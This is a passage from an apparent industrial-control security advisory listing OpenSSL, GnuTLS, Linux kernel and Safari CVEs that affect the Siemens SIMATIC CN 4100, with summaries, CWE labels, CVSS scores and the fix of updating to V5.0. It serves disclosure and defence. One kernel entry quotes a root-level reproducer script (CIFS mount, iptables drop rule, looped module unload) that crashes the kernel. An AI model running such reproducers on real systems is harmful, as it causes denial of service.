Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9231\n<div class=\"csaf-accordion-content\">\n\nIssue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-385 Covert Timing Channel\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9232\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9820\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in the GnuTLS library, specifically in the gnutls_pkcs11_token_init() function that handles PKCS#11 token initialization. When a token label longer than expected is processed, the function writes past the end of a fixed-size stack buffer. This programming error can cause the application using GnuTLS to crash or, in certain conditions, be exploited for code execution. As a result, systems or applications relying on GnuTLS may be vulnerable to a denial of service or local privilege escalation attacks.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-121 Stack-based Buffer Overflow\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-14831\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in GnuTLS. This vulnerability allows a denial of service (DoS) by excessive CPU (Central Processing Unit) and memory consumption via specially crafted malicious certificates containing a large number of name constraints and subject alternative names (SANs).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-407 Inefficient Algorithmic Complexity\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23143\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: Fix null-ptr-deref by sock_lock_init_class_and_name() and rmmod. When I ran the repro [0] and waited a few seconds, I observed two LOCKDEP splats: a warning immediately followed by a null-ptr-deref. [1] Reproduction Steps: 1) Mount CIFS 2) Add an iptables rule to drop incoming FIN packets for CIFS 3) Unmount CIFS 4) Unload the CIFS module 5) Remove the iptables rule At step 3), the CIFS module calls sock_release() for the underlying TCP socket, and it returns quickly. However, the socket remains in FIN_WAIT_1 because incoming FIN packets are dropped. At this point, the module's refcnt is 0 while the socket is still alive, so the following rmmod command succeeds. # ss -tan State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 477 10.0.2.15:51062 10.0.0.137:445 # lsmod | grep cifs cifs 1159168 0 This highlights a discrepancy between the lifetime of the CIFS module and the underlying TCP socket. Even after CIFS calls sock_release() and it returns, the TCP socket does not die immediately in order to close the connection gracefully. While this is generally fine, it causes an issue with LOCKDEP because CIFS assigns a different lock class to the TCP socket's sk->sk_lock using sock_lock_init_class_and_name(). Once an incoming packet is processed for the socket or a timer fires, sk->sk_lock is acquired. Then, LOCKDEP checks the lock context in check_wait_context(), where hlock_class() is called to retrieve the lock class. However, since the module has already been unloaded, hlock_class() logs a warning and returns NULL, triggering the null-ptr-deref. If LOCKDEP is enabled, we must ensure that a module calling sock_lock_init_class_and_name() (CIFS, NFS, etc) cannot be unloaded while such a socket is still alive to prevent this issue. Let's hold the module reference in sock_lock_init_class_and_name() and release it when the socket is freed in sk_prot_free(). Note that sock_lock_init() clears sk->sk_owner for svc_create_socket() that calls sock_lock_init_class_and_name() for a listening socket, which clones a socket by sk_clone_lock() without GFP_ZERO. [0]: CIFS_SERVER=\"10.0.0.137\" CIFS_PATH=\"//${CIFS_SERVER}/Users/Administrator/Desktop/CIFS_TEST\" DEV=\"enp0s3\" CRED=\"/root/WindowsCredential.txt\" MNT=$(mktemp -d /tmp/XXXXXX) mount -t cifs ${CIFS_PATH} ${MNT} -o vers=3.0,credentials=${CRED},cache=none,echo_interval=1 iptables -A INPUT -s ${CIFS_SERVER} -j DROP for i in $(seq 10); do umount ${MNT} rmmod cifs sleep 1 done rm -r ${MNT} iptables -D INPUT -s ${CIFS_SERVER} -j DROP [1]: DEBUG_LOCKS_WARN_ON(1) WARNING: CPU: 10 PID: 0 at kernel/locking/lockdep.c:234 hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) Modules linked in: cifs_arc4 nls_ucs2_utils cifs_md4 [last unloaded: cifs] CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Not tainted 6.14.0 #36 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) ... Call Trace: __lock_acquire (kernel/locking/lockdep.c:4853 kernel/locking/lockdep.c:5178) lock_acquire (kernel/locking/lockdep.c:469 kernel/locking/lockdep.c:5853 kernel/locking/lockdep.c:5816) _raw_spin_lock_nested (kernel/locking/spinlock.c:379) tcp_v4_rcv (./include/linux/skbuff.h:1678 ./include/net/tcp.h:2547 net/ipv4/tcp_ipv4.c:2350) ... BUG: kernel NULL pointer dereference, address: 00000000000000c4 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 0 Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Tainted: G W 6.14.0 #36 Tainted: [W]=WARN Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:__lock_acquire (kernel/ ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23160\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: mediatek: vcodec: Fix a resource leak related to the scp device in FW initialization On Mediatek devices with a system companion processor (SCP) the mtk_scp structure has to be removed explicitly to avoid a resource leak. Free the structure in case the allocation of the firmware structure fails during the firmware initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-31257\n<div class=\"csaf-accordion-content\">\n\nThis issue was addressed with improved memory handling. This issue is fixed in Safari 18.5, iOS 18.5 and iPadOS 18.5, macOS Sequoia 15.5, tvOS 18.5, visionOS 2.5, watchOS 11.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37931\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: adjust subpage bit start based on sectorsize When running machines with 64k page size and a 16k nodesize we started seeing tree log corruption in production. This turned out to be because we were not writing out dirty blocks sometimes, so this in fact affects all metadata writes. When writing out a subpage EB we scan the subpage bitmap for a dirty range. If the range isn't dirty we do bit_start++; to move onto the next bit. The problem is the bitmap is based on the number of sectors that an EB has. So in this case, we have a 64k pagesize, 16k nodesize, but a 4k sectorsize. This means our bitmap is 4 bits for every node. With a 64k page size we end up with 4 nodes per page. To make this easier this is how everything looks [0 16k 32k 48k ] logical address [0 4 8 12 ] radix tree offset [ 64k page ] folio [ 16k eb ][ 16k eb ][ 16k eb ][ 16k eb ] extent buffers [ | | | | | | | | | | | | | | | | ] bitmap Now we use all of our addressing based on fs_info->sectorsize_bits, so as you can see the above our 16k eb->start turns into radix entry 4. When we find a dirty range for our eb, we correctly do bit_start += sectors_per_node, because if we start at bit 0, the next bit for the next eb is 4, to correspond to eb->start 16k. However if our range is clean, we will do bit_start++, which will now put us offset from our radix tree entries. In our case, assume that the first time we check the bitmap the block is not dirty, we increment bit_start so now it == 1, and then we loop around and check again. This time it is dirty, and we go to find that start using the following equation start = folio_start + bit_start * fs_info->sectorsize; so in the case above, eb->start 0 is now dirty, and we calculate start as 0 + 1 * fs_info->sectorsize = 4096 4096 >> 12 = 1 Now we're looking up the radix tree for 1, and we won't find an eb. What's worse is now we're using bit_start == 1, so we do bit_start += sectors_per_node, which is now 5. If that eb is dirty we will run into the same thing, we will look at an offset that is not populated in the radix tree, and now we're skipping the writeout of dirty extent buffers. The best fix for this is to not use sectorsize_bits to address nodes, but that's a larger change. Since this is a fs corruption problem fix it simply by always using sectors_per_node to increment the start bit.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37968\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: opt3001: fix deadlock due to concurrent flag access The threaded IRQ function in this driver is reading the flag twice: once to lock a mutex and once to unlock it. Even though the code setting the flag is designed to prevent it, there are subtle cases where the flag could be true at the mutex_lock stage and false at the mutex_unlock stage. This results in the mutex not being unlocked, resulting in a deadlock. Fix it by making the opt3001_irq() code generally more robust, reading the flag into a variable and using the variable value at both stages.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38322\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix crash in icl_update_topdown_event() The perf_fuzzer found a hard-lockup crash on a RaptorLake machine: Oops: general protection fault, maybe for address 0xffff89aeceab400: 0000 CPU: 23 UID: 0 PID: 0 Comm: swapper/23 Tainted: [W]=WARN Hardware name: Dell Inc. Precision 9660/0VJ762 RIP: 0010:native_read_pmc+0x7/0x40 Code: cc e8 8d a9 01 00 48 89 03 5b cd cc cc cc cc 0f 1f ... RSP: 000:fffb03100273de8 EFLAGS: 00010046 .... Call Trace: icl_update_topdown_event+0x165/0x190 ? ktime_get+0x38/0xd0 intel_pmu_read_event+0xf9/0x210 __perf_event_read+0xf9/0x210 CPUs 16-23 are E-core CPUs that don't support the perf metrics feature. The icl_update_topdown_event() should not be invoked on these CPUs. It's a regression of commit: f9bdf1f95339 (\"perf/x86/intel: Avoid disable PMU if !cpuc->enabled in sample read\") The bug introduced by that commit is that the is_topdown_event() function is mistakenly used to replace the is_topdown_count() call to check if the topdown functions for the perf metrics feature should be invoked. Fix it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38347\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to do sanity check on ino and xnid syzbot reported a f2fs bug as below: INFO: task syz-executor140:5308 blocked for more than 143 seconds. Not tainted 6.14.0-rc7-syzkaller-00069-g81e4f8d68c66 #0 \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message. task:syz-executor140 state:D stack:24016 pid:5308 tgid:5308 ppid:5306 task_flags:0x400140 flags:0x00000006 Call Trace: context_switch kernel/sched/core.c:5378 [inline] __schedule+0x190e/0x4c90 kernel/sched/core.c:6765 __schedule_loop kernel/sched/core.c:6842 [inline] schedule+0x14b/0x320 kernel/sched/core.c:6857 io_schedule+0x8d/0x110 kernel/sched/core.c:7690 folio_wait_bit_common+0x839/0xee0 mm/filemap.c:1317 __folio_lock mm/filemap.c:1664 [inline] folio_lock include/linux/pagemap.h:1163 [inline] __filemap_get_folio+0x147/0xb40 mm/filemap.c:1917 pagecache_get_page+0x2c/0x130 mm/folio-compat.c:87 find_get_page_flags include/linux/pagemap.h:842 [inline] f2fs_grab_cache_page+0x2b/0x320 fs/f2fs/f2fs.h:2776 __get_node_page+0x131/0x11b0 fs/f2fs/node.c:1463 read_xattr_block+0xfb/0x190 fs/f2fs/xattr.c:306 lookup_all_xattrs fs/f2fs/xattr.c:355 [inline] f2fs_getxattr+0x676/0xf70 fs/f2fs/xattr.c:533 __f2fs_get_acl+0x52/0x870 fs/f2fs/acl.c:179 f2fs_acl_create fs/f2fs/acl.c:375 [inline] f2fs_init_acl+0xd7/0x9b0 fs/f2fs/acl.c:418 f2fs_init_inode_metadata+0xa0f/0x1050 fs/f2fs/dir.c:539 f2fs_add_inline_entry+0x448/0x860 fs/f2fs/inline.c:666 f2fs_add_dentry+0xba/0x1e0 fs/f2fs/dir.c:765 f2fs_do_add_link+0x28c/0x3a0 fs/f2fs/dir.c:808 f2fs_add_link fs/f2fs/f2fs.h:3616 [inline] f2fs_mknod+0x2e8/0x5b0 fs/f2fs/namei.c:766 vfs_mknod+0x36d/0x3b0 fs/namei.c:4191 unix_bind_bsd net/unix/af_unix.c:1286 [inline] unix_bind+0x563/0xe30 net/unix/af_unix.c:1379 __sys_bind_socket net/socket.c:1817 [inline] __sys_bind+0x1e4/0x290 net/socket.c:1848 __do_sys_bind net/socket.c:1853 [inline] __se_sys_bind net/socket.c:1851 [inline] __x64_sys_bind+0x7a/0x90 net/socket.c:1851 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Let's dump and check metadata of corrupted inode, it shows its xattr_nid is the same to its i_ino. dump.f2fs -i 3 chaseyu.img.raw i_xattr_nid [0x 3 : 3] So that, during mknod in the corrupted directory, it tries to get and lock inode page twice, result in deadlock. - f2fs_mknod - f2fs_add_inline_entry - f2fs_get_inode_page --- lock dir's inode page - f2fs_init_acl - f2fs_acl_create(dir,..) - __f2fs_get_acl - f2fs_getxattr - lookup_all_xattrs - __get_node_page --- try to lock dir's inode page In order to fix this, let's add sanity check on ino and xnid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38491\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: make fallback action and fallback decision atomic Syzkaller reported the following splat: WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 __mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 check_fully_established net/mptcp/options.c:982 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Modules linked in: CPU: 1 UID: 0 PID: 7704 Comm: syz.3.1419 Not tainted 6.16.0-rc3-gbd5ce2324dba #20 PREEMPT(voluntary) Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:__mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] RIP: 0010:mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] RIP: 0010:check_fully_established net/mptcp/options.c:982 [inline] RIP: 0010:mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Code: 24 18 e8 bb 2a 00 fd e9 1b df ff ff e8 b1 21 0f 00 e8 ec 5f c4 fc 44 0f b7 ac 24 b0 00 00 00 e9 54 f1 ff ff e8 d9 5f c4 fc 90 <0f> 0b 90 e9 b8 f4 ff ff e8 8b 2a 00 fd e9 8d e6 ff ff e8 81 2a 00 RSP: 0018:ffff8880a3f08448 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff8880180a8000 RCX: ffffffff84afcf45 RDX: ffff888090223700 RSI: ffffffff84afdaa7 RDI: 0000000000000001 RBP: ffff888017955780 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 R13: ffff8880180a8910 R14: ffff8880a3e9d058 R15: 0000000000000000 FS: 00005555791b8500(0000) GS:ffff88811c495000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000110c2800b7 CR3: 0000000058e44000 CR4: 0000000000350ef0 Call Trace: tcp_reset+0x26f/0x2b0 net/ipv4/tcp_input.c:4432 tcp_validate_incoming+0x1057/0x1b60 net/ipv4/tcp_input.c:5975 tcp_rcv_established+0x5b5/0x21f0 net/ipv4/tcp_input.c:6166 tcp_v4_do_rcv+0x5dc/0xa70 net/ipv4/tcp_ipv4.c:1925 tcp_v4_rcv+0x3473/0x44a0 net/ipv4/tcp_ipv4.c:2363 ip_protocol_deliver_rcu+0xba/0x480 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x2f1/0x500 net/ipv4/ip_input.c:233 NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_local_deliver+0x1be/0x560 net/ipv4/ip_input.c:254 dst_input include/net/dst.h:469 [inline] ip_rcv_finish net/ipv4/ip_input.c:447 [inline] NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_rcv+0x514/0x810 net/ipv4/ip_input.c:567 __netif_receive_skb_one_core+0x197/0x1e0 net/core/dev.c:5975 __netif_receive_skb+0x1f/0x120 net/core/dev.c:6088 process_backlog+0x301/0x1360 net/core/dev.c:6440 __napi_poll.constprop.0+0xba/0x550 net/core/dev.c:7453 napi_poll net/core/dev.c:7517 [inline] net_rx_action+0xb44/0x1010 net/core/dev.c:7644 handle_softirqs+0x1d0/0x770 kernel/softirq.c:579 do_softirq+0x3f/0x90 kernel/softirq.c:480 __local_bh_enable_ip+0xed/0x110 kernel/softirq.c:407 local_bh_enable include/linux/bottom_half.h:33 [inline] inet_csk_listen_stop+0x2c5/0x1070 net/ipv4/inet_connection_sock.c:1524 mptcp_check_listen_stop.part.0+0x1cc/0x220 net/mptcp/protocol.c:2985 mptcp_check_listen_stop net/mptcp/mib.h:118 [inline] __mptcp_close+0x9b9/0xbd0 net/mptcp/protocol.c:3000 mptcp_close+0x2f/0x140 net/mptcp/protocol.c:3066 inet_release+0xed/0x200 net/ipv4/af_inet.c:435 inet6_release+0x4f/0x70 net/ipv6/af_inet6.c:487 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x402/0xb70 fs/file_table.c:465 task_work_run+0x150/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xd4 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector 